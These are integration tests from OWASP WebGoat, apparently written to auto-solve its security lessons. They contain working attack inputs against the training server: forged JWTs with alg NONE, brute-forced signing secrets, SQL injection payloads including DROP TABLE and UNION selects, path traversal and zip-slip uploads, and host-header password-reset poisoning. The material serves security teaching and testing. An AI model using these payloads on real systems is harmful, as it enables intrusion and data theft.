.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public String getWebWolfFileServerLocation() {
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/file-server-location"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
public String webGoatServerDirectory() {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/server-directory"))
.then()
.extract().response().getBody().asString();
}
}

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package org.owasp.webgoat;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest {
@Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
startLesson("JWT");
decodingToken();
resetVotes();
findPassword();
buyAsTom();
deleteTom();
quiz();
checkResults("/JWT/");
}
private String generateToken(String key) {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key).compact();
}
private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}
private void decodingToken() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user")
.post(url("/WebGoat/JWT/decode"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
String accessToken = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken"))
.then()
.extract().response().asString();
String secret = getSecretToken(accessToken);
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void resetVotes() throws IOException {
String accessToken = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then()
.extract().cookie("access_token");
String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
.concat(".").replace("=", "");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void buyAsTom() throws IOException {
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
body = body.replace("Jerry", "Tom");
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".").replace("=", "");
MatcherAssert.assertThat(RestAssured.given()
.when().relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization","Bearer "+replacedToken)
.post(url("/WebGoat/JWT/refresh/checkout"))
.then().statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void deleteTom() {
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token = Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
MatcherAssert.assertThat(RestAssured.given()
.when().relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/final/delete?token="+token))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void quiz() {
Map<String, Object> params = new HashMap<>();
params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2");
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import lombok.SneakyThrows;
import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import java.util.Arrays;
import java.util.Map;
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows
public void init() {
startLesson("/PasswordReset");
}
@TestFactory
Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList(
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
dynamicTest("assignment 2 - simple reset",()-> assignment2()),
dynamicTest("assignment 4 - guess questions",()-> assignment4()),
dynamicTest("assignment 5 - simple questions",()-> assignment5())
);
}
public void assignment2() {
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
}
public void assignment4() {
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
}
public void assignment5() {
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
}
public void solveAssignment() {
//WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org");
//WebWolf
var link = getPasswordResetLinkFromLandingPage();
//WebGoat
changePassword(link);
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
}
public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
.extract().response().getBody().asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
}
@AfterEach
public void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
checkResults("/PasswordReset");
}
private void changePassword(String link) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
private String getPasswordResetLinkFromLandingPage() {
var responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
return link;
}
private void clickForgotEmailLink(String user) {
RestAssured.given()
.when()
.header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
class PathTraversalIT extends IntegrationTest {
@TempDir
Path tempDir;
private File fileToUpload = null;
@BeforeEach
@SneakyThrows
public void init() {
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
startLesson("PathTraversal");
}
@TestFactory
Iterable<DynamicTest> testPathTraversal() {
return Arrays.asList(
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5())
);
}
private void assignment1() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void assignment2() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void assignment3() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void assignment4() throws IOException {
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given().urlEncodingEnabled(false)
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
Sha512DigestUtils.shaHex(this.getUser())), true);
}
private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(url("/WebGoat/PathTraversal/zip-slip"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
@AfterEach
void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
checkResults("/PathTraversal");
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.response.Response;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws InterruptedException {
int NUMBER_OF_CALLS = 40;
int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1");
Callable<Response> call = () -> {
//System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/"));
};
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);
//A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 = responses.stream().filter(r -> {
try {
//System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200;
} catch (InterruptedException | ExecutionException e) {
//System.err.println(e);
throw new IllegalStateException(e);
}
}).count();
System.err.println("counted status 500: "+countStatusCode500);
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
}
}

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package org.owasp.webgoat;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {
startLesson("SSRF");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("url", "images/jerry.png");
checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
params.clear();
params.put("url", "http://ifconfig.pro");
checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
checkResults("/SSRF/");
}
}

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package org.owasp.webgoat;
import java.util.concurrent.TimeUnit;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.firefox.FirefoxBinary;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.firefox.FirefoxOptions;
import io.github.bonigarcia.wdm.WebDriverManager;
import io.github.bonigarcia.wdm.config.DriverManagerType;
public class SeleniumIntegrationTest extends IntegrationTest {
static {
try {
WebDriverManager.getInstance(DriverManagerType.FIREFOX).setup();
} catch (Exception e) {
//sometimes a 403 cause an ExceptionInInitializerError
}
}
private WebDriver driver;
@BeforeEach
public void setUpAndLogin() {
try {
FirefoxBinary firefoxBinary = new FirefoxBinary();
firefoxBinary.addCommandLineOptions("--headless");
FirefoxOptions firefoxOptions = new FirefoxOptions();
firefoxOptions.setBinary(firefoxBinary);
driver = new FirefoxDriver(firefoxOptions);
driver.get(url("/login"));
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
// Login
driver.findElement(By.name("username")).sendKeys(this.getUser());
driver.findElement(By.name("password")).sendKeys("password");
driver.findElement(By.className("btn")).click();
// Check if user exists. If not, create user.
if (driver.getCurrentUrl().equals(url("/login?error"))) {
driver.get(url("/registration"));
driver.findElement(By.id("username")).sendKeys(this.getUser());
driver.findElement(By.id("password")).sendKeys("password");
driver.findElement(By.id("matchingPassword")).sendKeys("password");
driver.findElement(By.name("agree")).click();
driver.findElement(By.className("btn-primary")).click();
}
} catch (Exception e) {
System.err.println("Selenium test failed "+System.getProperty("webdriver.gecko.driver")+", message: "+e.getMessage());
}
}
@AfterEach
public void tearDown() {
if (null != driver) {
driver.close();
}
}
@Test
public void sqlInjection() {
if (null==driver) return;
driver.get(url("/start.mvc#lesson/SqlInjection.lesson"));
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
driver.findElement(By.id("restart-lesson-button")).click();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/0"));
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonIntegrationTest.sql_2);
driver.findElement(By.name("query")).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/2"));
driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonIntegrationTest.sql_3);
driver.findElements(By.name("query")).get(1).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
driver.findElements(By.name("query")).get(2).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
driver.findElements(By.name("query")).get(2).clear();
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_add);
driver.findElements(By.name("query")).get(2).submit();
driver.findElements(By.name("query")).get(2).clear();
driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
driver.findElements(By.name("query")).get(2).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/4"));
driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonIntegrationTest.sql_5);
driver.findElements(By.name("query")).get(3).submit();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/8"));
driver.findElement(By.name("account")).sendKeys("Smith'");
driver.findElement(By.name("operator")).sendKeys("OR");
driver.findElement(By.name("injection")).sendKeys("'1'='1");
driver.findElement(By.name("Get Account Info")).click();
driver.get(url("/start.mvc#lesson/SqlInjection.lesson/9"));
driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_userid);
driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_login_count);
driver.findElements(By.name("Get Account Info")).get(1).click();
}
}

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/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source
* ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat;
import java.util.Map;
import org.junit.jupiter.api.Test;
/**
*
* @author Angel Olle Blazquez
*
*/
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
}
}

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package org.owasp.webgoat;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?");
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/");
}
}

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package org.owasp.webgoat;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone";
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
public static final String sql_9_account = " ' ";
public static final String sql_9_operator = "or";
public static final String sql_9_injection = "'1'='1";
public static final String sql_10_login_count = "2";
public static final String sql_10_userid = "1 or 1=1";
public static final String sql_11_a = "Smith' or '1' = '1";
public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_12_a = "Smith";
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_13 = "%update% '; drop table access_log ; --'";
@Test
public void runTests() {
startLesson("SqlInjection");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("query", sql_2);
checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
params.clear();
params.put("query", sql_3);
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_4_add);
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
params.clear();
params.put("query", sql_5);
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
params.clear();
params.put("operator", sql_9_operator);
params.put("account", sql_9_account);
params.put("injection", sql_9_injection);
checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
params.clear();
params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid);
checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
params.clear();
params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b);
checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
params.clear();
params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b);
checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
params.clear();
params.put("action_string", sql_13);
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
checkResults("/SqlInjection/");
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.containsString;
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionMitigations");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("field1", "getConnection");
params.put("field2", "PreparedStatement prep");
params.put("field3", "prepareStatement");
params.put("field4", "?");
params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
params.put("editor", "try {\r\n" +
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
" prep.setString(1,\"me\");\r\n" +
" prep.execute();\r\n" +
" System.out.println(conn); //should output 'null'\r\n" +
"} catch (Exception e) {\r\n" +
" System.out.println(\"Oops. Something went wrong!\");\r\n" +
"}");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
params.clear();
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
params.clear();
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
.then()
.statusCode(200);
RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
params.clear();
params.put("ip", "104.130.219.202");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
checkResults();
}
}

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package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
import io.restassured.RestAssured;
public class WebWolfIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {
startLesson("WebWolfIntroduction");
//Assignment 3
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("email", this.getUser()+"@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
String responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
.extract().response().getBody().asString();
String uniqueCode = responseBody.replace("%20", " ");
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
//Assignment 4
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url("/WebGoat/WebWolf/landing/password-reset"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.queryParams(params)
.get(webWolfUrl("/landing"))
.then()
.statusCode(200);
responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
assertTrue(responseBody.contains(uniqueCode));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
checkResults("/WebWolf");
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class XSSIntegrationTest extends IntegrationTest {
@Test
public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting");
Map<String, Object> params = new HashMap<>();
params.clear();
